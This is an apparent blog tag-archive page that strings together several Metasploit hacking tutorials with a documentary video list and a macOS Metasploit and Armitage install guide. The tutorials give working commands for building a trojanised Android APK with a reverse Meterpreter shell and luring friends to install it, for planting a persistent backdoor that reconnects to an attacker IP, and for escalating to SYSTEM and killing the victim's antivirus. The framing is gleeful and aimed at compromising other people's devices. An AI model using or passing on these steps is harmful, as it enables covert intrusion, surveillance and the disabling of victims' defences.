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Tag Archives: Hacking

How To Remotely Hack Android using Kali Linux


This is a tutorial explaining how to hack android phones with Kali.
I can’t see any tutorials explaining this Hack/Exploit, so, I made one.
(Still ,you may already know about this)

Step 1: Fire-Up Kali:

  • Open a terminal, and make a Trojan .apk
  • You can do this by typing :
  • msfpayload android/meterpreter/reverse_tcp LHOST=192.168.0.4 R > /root/Upgrader.apk (replace LHOST with your own IP)
  • You can also hack android on WAN i.e. through Interet by using yourPublic/External IP in the LHOST and by port forwarding (ask me about port forwarding if you have problems in the comment section)

Step 2: Open Another Terminal:

  • Open another terminal until the file is being produced.
  • Load metasploit console, by typing : msfconsole

Step 3: Set-Up a Listener:

  • After it loads(it will take time), load the multi-handler exploit by typing :use exploit/multi/handler
  • Set up a (reverse) payload by typing : set payload android/meterpreter/reverse_tcp
  • To set L host type : set LHOST 192.168.0.4 (Even if you are hacking on WAN type your private/internal IP here not the public/external)

Step 4: Exploit!

  • At last type: exploit to start the listener.
  • Copy the application that you made (Upgrader.apk) from the root folder, to you android phone.
  • Then send it using Uploading it to Dropbox or any sharing website (like:www.speedyshare.com).
  • Then send the link that the Website gave you to your friends and exploit their phones (Only on LAN, but if you used the WAN method then you can use the exploit anywhere on the INTERNET)
  • Let the Victim install the Upgrader app(as he would think it is meant to upgrade some features on his phone)
  • However, the option of allowance for Installation of apps from Unknown Sources should be enabled (if not) from the security settings of the android phone to allow the Trojan to install.
  • And when he clicks Open…

Step 5: BOOM!

There comes the meterpreter prompt:

See Meterpreter commands here:
http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Basics

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Digital Warfare: The New Age State-Sponsored Cyber Crime


How government sponsored hacking and untrammeled security surveillance is ushering in an era of cyber warfare.

Video 1: The Secret International Cyber War Dividing Nations

Video 2: The Secrets Of The Korean Cyber War

Video 3: Uncovering The Danger Of State-Sponsored Hacking

Video 4: How Guerrilla Bloggers Are Beating China’s Firewall

Video 5: The Frightening New Technology Transforming State Surveillance

Video 6: Real-Life Big Brother: Secret NSA Data Centres And Global Surveillance

Video 7: How big business tracks your every move

Video 8: How Global Corporations Profit From Your Digital Secrets

Video 9: Spy Secrets: Playing Dirty

Video 10: Fehler im System – Hackerangriff

Video 11: Wild Germany – Hacker

Video 12: Steve Jobs – der digitale Diktator?

Video 13: Hackers English Documentary

Video 14: How Hackers Changed the World

Video 15: Who are Hackers

Video 16: ALGORITHM: The Hacker Movie

Video 17: Panorama Hacking Power, Corruption and Lies

Video 18: Anonymous Documentary – Inside a Hackers World

Video 19: Hackers Wanted

Video 20: Squads of Hackers

Video 21: Hackers, Outlaws & Angels

Video 22: Hack, Hacking & Hackers – In the Realm of the Hackers

Video 23: Anonymous – The Story of Aaron Swartz

Video 24: Google: Behind the Screen (vpro backlight)

Video 25: Die geheime Macht von Google

Video 26: Is This Man Really The ‘Internet’s biggest pirate’?

Video 27: Hacker – Dokumentation 3Sat

Video 28: Die Angst hat 1000 Augen: Städte im Zeichen des Terrors

Video 29: Die Dunkle Seite Des Facebook und Mark Zuckerberg

Video 30: WikiLeaks – The Forgotten Man

Video 31: WikiLeaks: The Secret Life of a Superpower (Ep. 1)

Video 32: WikiLeaks: The Secret Life of a Superpower (Ep. 2)

Installing Metasploit Framework on Mountain Lion and Mavericks


This Guide covers the installation of Metasploit Framework OSS Project on OSX Lion and Mountain Lion. Waiting for the symlink fix so as to update the script

This guide uses Homebrew as well as the script to provide the necessary packages to run Metasploit. If you have MacPorts this guide will not work and will cause problems. 

Dependencies

Make sure you run software update and install all updates for the operating system and install the latest version of Xcode so as to be able to compile software.

Installing Command Line Development Tools Xcode 4 on Mountain Lion

If you are running Xcode 4 you will need to go to Xcode Preference and choose the command line tools and download and install from the components

xcode4.jpg

Installing Command Line Development Tools Xcode 5 on Mountain Lion

If you are running Xcode 5  you will need to go to Xcode Preference and choose the command line tools and download and install from the components

xcode5.png

Installing Command Line Development Tools Xcode 5 on Mavericks

On OS X Mavericks the Command Line Developer Tools package can be installed on demand using “xcode-select –install” and the installed tools will be automatically updated using Software Update. Once you run the command the following dialog should appear and just click on Install

mavericks.png

Java

Download the latest Java JDK 8 from Oracle. This should set all the proper shortcuts for the Java binaries http://www.oracle.com/technetwork/java/javase/downloads/index.html

Test that Java is properly installed by running

java -version

It should return the version of Java you just installed.  To check tha the location is /usr/bin/java for the link run:

whereis java

If both commands runs and the location is correct Java is properly installed on the system.

Manual Installation

Install Homebrew

/usr/bin/ruby -e "$(curl -fsSkL raw.github.com/mxcl/homebrew/go)"

We need to make sure that the binaries we install with homebrew are first in the path:

echo PATH=/usr/local/bin:/usr/local/sbin:$PATH >> ~/.bash_profile
source ~/.bash_profile
brew tap homebrew/versions

Install Nmap

For Nmap in the case of OSX I recommend the use of Homebrew since they are quite quick and keeping their formulas updated for the tool and work out most of the problems that may arise quite quickly. To install Nmap just run the command bellow:

brew install nmap

Install Ruby 2.1

On OS X we have 3 methods for installing ruby 2.1.x these are:

  • Homebrew
  • RVM (Ruby Version Manager)
  • rbenv

Installing Ruby using Homebrew:

brew install homebrew/versions/ruby21

Check that yo are running the version of ruby you just installed with:

ruby -v

Installing Ruby using RVM:

curl -L https://get.rvm.io | bash -s stable
source ~/.rvm/scripts/rvm
echo "source ~/.rvm/scripts/rvm" >> ~/.bash_profile
source ~/.bash_profile
rvm install 2.1.5
rvm use 2.1.5 --default
ruby -v

Installing Ruby using rbenv:

cd ~
git clone git://github.com/sstephenson/rbenv.git .rbenv
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.bash_profile
echo 'eval "$(rbenv init -)"' >> ~/.bash_profile
source ~/.bash_profile

git clone git://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build
echo 'export PATH="$HOME/.rbenv/plugins/ruby-build/bin:$PATH"' >> ~/.bash_profile
source ~/.bash_profile
rbenv install 2.1.5
rbenv global 2.1.5
ruby -v

Once the packages have been install we need to install the required Ruby libraries that metasploit depends on:

sudo gem install bundler

Install PostgreSQL

brew install postgresql --without-ossp-uuid

Configure PostgreSQL

Init the Database if this is a first time install:

initdb /usr/local/var/postgres

Configure Postgres to automatically load on login, the instruction bellow are as an example copy and paste the commands that the brew installer showed and follow any other instruction it shows :

mkdir -p ~/Library/LaunchAgents
cp /usr/local/Cellar/postgresql/9.1.4/homebrew.mxcl.postgresql.plist ~/Library/LaunchAgents/
launchctl load -w ~/Library/LaunchAgents/homebrew.mxcl.postgresql.plist

PostgreSQL will now start every time a user logs in. Create user called msf for use in Metasploit:

createuser msf -P -h localhost

Create database for use with metasploit called msf and make the user msf the owner:

createdb -O msf msf -h localhost

Record the password used for the account created since it will be used when configuring the framework.

Installing Metasploit Framework

For regular use of the framework only needs to clone the Git repository and create the necessary links and set the variable for the database config file

Create Symlink Copy for Regular Use

WARNING: Currently there is a bug in Metasploit Framework with Symlinks: https://github.com/rapid7/metasploit-framework/issues/4602

cd /usr/local/share/

git clone https://github.com/rapid7/metasploit-framework.git

cd metasploit-framework

for MSF in $(ls msf*); do ln -s /usr/local/share/metasploit-framework/$MSF /usr/local/bin/$MSF;done

sudo chmod go+w /etc/profile

sudo echo export MSF_DATABASE_CONFIG=/usr/local/share/metasploit-framework/config/database.yml >> /etc/profile

From the Metasploit-Framework folder lets use the Bundler Gem to install the properly supportted Gem versions:

bundle install

Before starting to use the framework we need to create the database config file and set the parameters:

vim /usr/local/share/metasploit-framework/config/database.yml

Enter the following text in to the file keeping the spacing and using the values used for creating the user and database:

production:
 adapter: postgresql
 database: msf
 username: msf
 password: 
 host: 127.0.0.1
 port: 5432
 pool: 75
 timeout: 5

To load the variable for the database configuration file for the current user:

source /etc/profile
source ~/.bash_profile

Execute Metasploit msfconsole for the first time so it initializes the schema for the database for the first time as your current user and not as root:

msfconsole

Metasploit for Development and Contribution

If you wish to develop and contribute to the product you can follow the additional steps here Metasploit Dev Environment . For this you will need a GitHub account and you will fork the project in to your own account. I personally keep my dev copy of Metasploit in ~/Development folder and after an initial run of msfconsole I keep my database.yml file in ~/.msf4/cofig folder and adjust the MSF_DATABASE_CONFIG variable for it or run msfconsole with the -y option and point it to a YAML file with the correct configuration.

Install Armitage

Since armitage is no longer included with Framework we need to execute some additional steps:

brew install pidof
curl -# -o /tmp/armitage.tgz http://www.fastandeasyhacking.com/download/armitage-latest.tgz
tar -xvzf /tmp/armitage.tgz -C /usr/local/share


 bash  -c "echo  \'/usr/bin/java\'  -jar /usr/local/share/armitage/armitage.jar \$\*" > /usr/local/share/armitage/armitage

perl -pi -e 's/armitage.jar/\/usr\/local\/share\/armitage\/armitage.jar/g' /usr/local/share/armitage/teamserver

Link Scripts

ln -s /usr/local/share/armitage/armitage /usr/local/bin/armitage

ln -s /usr/local/armitage/teamserver /usr/local/bin/teamserver

One important thing to take into consideration, for using Armitage and many of the modules provided in Metasploit you need to run them as root. Do to the way variables are handled when using the sudo command to invoke msfconsole or Armitage you need to give it the -E option:

# For launching Armitage
sudo -E armitage

# For launching msfconsole
sudo -E msfconsole

How to Remotely Install an Auto-Reconnecting Persistent Back Door on Someone’s PC


Most of my recent posts have addressed using Metasploit’s Meterpreter and what we can do once we have embedded it on the victim’s system. This includes remotely installing a keylogger, enabling the webcam, enabling the microphone and recording, disabling the antivirus software, among many other things. The list is almost unlimited.

Unfortunately, the Meterpreter ceases to work if the victim system is rebooted. As a result, many of you have written me asking whether we can maintain or persist the Meterpreter on the victim system.

The answer is an unequivocal “Yes!”

We can embed the Meterpreter and then come back later—even after the victim’s computer has been rebooted—and reconnect to our little backdoor or listener. I’m dedicating this post to showing you how to do this.

Getting Started

Let’s assume that you have been successful in embedding the Meterpreter on the victim’s system, and that you have a screen that looks like the screenshot below. If you’re not sure how to do this, check out some of my previous posts for help.

Now, let’s get started.

Step 1: Run the Persistence Script

Metasploit has a script named persistence that can enable us to set up a persistent Meterpreter (listener) on the victim’s system. First let’s take a look at the options that are available when we run this scrip by using the –h switch.

At the Meterpreter prompt, type the following:

meterpreter > run persistence -h

We can see in the screenshot above that…

–A switch starts a matching handler to connect to the agent.
-With the -L switch we tell the system where to place the Meterpreter on the target system.
-The –P switch tells the system what payload to use (Windows/Meterpreter/reverse_tcp is the default, so we won’t use this switch).
-S starts the agent on boot with system privileges.
-The -U switch starts the agent when the user (U) logs on.
-The -x switch starts the agent when the system boots.
-With the –i switch we can indicate the time interval between each connection attempt.
-The -p switch indicates the port, and finally…
-The –r switch indicates the IP address of our ( r ) system running Metasploit.

Here we will use the –A, -L, -x, -i, -p, and –r switches.

Type at the Meterpreter prompt:

meterpreter >run persistence –A –L c:\\ -X 30 –p 443 –r 192.168.1.113

This command then will run the persistence script that will start a matching handler (-A), place the Meterpreter at c:\\ on the target system (-L c:\\), starts the listener when the system boots (-x), checks every 30 seconds for a connection (-i 30), connects on port 443 (-p 443), and connects to the local system (ours) on IP address 192.168.1.113.

When we run this command, this is what we should see.

Step 2: Opening a Second Session

We can see that we have opened a Meterpreter session on the victim system.

We return to our Metasploit prompt, by typing:

meterpreter > background

This will return us to the msf prompt, where can now type:

msf exploit(ms08_067_netapi) > sessions –i

We see above that now we have two or more sessions running on the victim system (I actually have three sessions running on this victim) as the persistent Meterpreter has opened a second session on the system.

Step 3: Testing

This is all very nice, but the key here is whether the Meterpreter will reconnect to our system even after the target system reboots. We can test this by typing;

meterpreter > reboot

This will reboot the target/victim machine and if we are successful, the Meterpreter will reconnect to our system.

Even after the system reboots, the Meterpreter on the victim system attempts to connect to us every 30 seconds until it has successfully open a session for us.

Now we have successfully opened a persistent connection on the victim system that we can come back to time and time again to wreak havoc!

How to Kill and Disable Antivirus Software on a Remote PC


In some of my past articles, I’ve shown numerous ways of embedding a listener/rootkit on a remote system, including buffer overflows of the operating system, getting the victim to click on a link to our malicious website, and sending a malicious Microsoft Office and Adobe Acrobat file.

In each case, we’ve embedded a listener/rootkit that gives us control over the system. Metasploit has a powerful listener called Meterpreter that enables us to control the system, send more commands, pivot from the victim to other systems, elevate our privileges, and many other things, as we will see.

My next few posts will focus on how to use the Meterpreter in various powerful ways. Today, we will focus on how to use the Meterpreter to disable the antivirus protection on our victim system, which is more advanced than simply bypassing the antivirus program, as I wrote about last time.

Disabling is necessary because the next time the system is scanned by the victim’s antivirus software, it’s likely to detect our listener and disable it, so we need to take preemptive action to disable it before it can disable us.

So…fire up Metasploit and let’s get hacking!

Step 1: Getting Started

I’m assuming you have already embedded your Meterpreter listener by one of the many methods I’ve outlined in my earlier posts, and that you have a Meterpreter prompt as it appears in the screenshot below.

Before we can begin to kill the AV software, we need to escalate our privileges.

Usually, when we embed a listener on the victim’s system, the listener will only have the privileges of the user who provided us with a gateway to their system by clicking on the malicious website, Office doc, Abobe PDF, etc.

That user most often has limited rights or privileges to the system. Unlimited rights to do anything on the system is held by the administrator or system administrator (or sysadmin for short).

We need to escalate our privileges from the user to sysadmin to have our way with this computer.

Step 2: Checking the User

Before we start the process of escalation, let’s check what user we are logged in as. Type:

meterpreter > getuid

This will return the ID of the user we are logged in as. If we are anything but the sysadmin, we’ll need to escalate to kill the antivirus software.

Step 3: Escalate Privileges

Metasploit and its Meterpreter make it simple to escalate privileges to the sysadmin. Simply type getsystem at the Meterpreter prompt.

meterpreter > getsystem

Notice that Metasploit responds with “…got system (with technique 1)“. Metasploit has multiple methods to escalate privileges and it tries each of them out until one works.

In our case, it was successful with technique 1.

Step 4: Check That We Are Sysadmin

Now that Metasploit has told us that it has escalated our privileges to sysadmin, let’s make sure. Type:

meterpreter > getuid

As you can see in my screenshot above, the victim responds with NT AUTHORITY\SYSTEM, the syadmin user!

Congratulations! You can now have your way this victim.

Step 5: Kill the AntiVirus Software

Now that we have unlimited rights to this system, let’s kill the antivirus software. Metasploit has a Ruby script called killav.rb. We simply run that script from the Meterpreter prompt and it will kill the system’s antivirus software.

Make certain to start the script with the keyword run. Type:

meterpreter > run killav.rb

Notice from the screenshot above that the killav.rb script not only killed the antivirus process, but also the open command prompt.

Now that we have killed the antivirus process, we can remain hidden within their system and do as we please with little or no chance of being detected.

In upcoming blogs, we will explore more adventures with the power of our embedded listener/rootkit with sysadmin privileges. There is no limit what we can do now!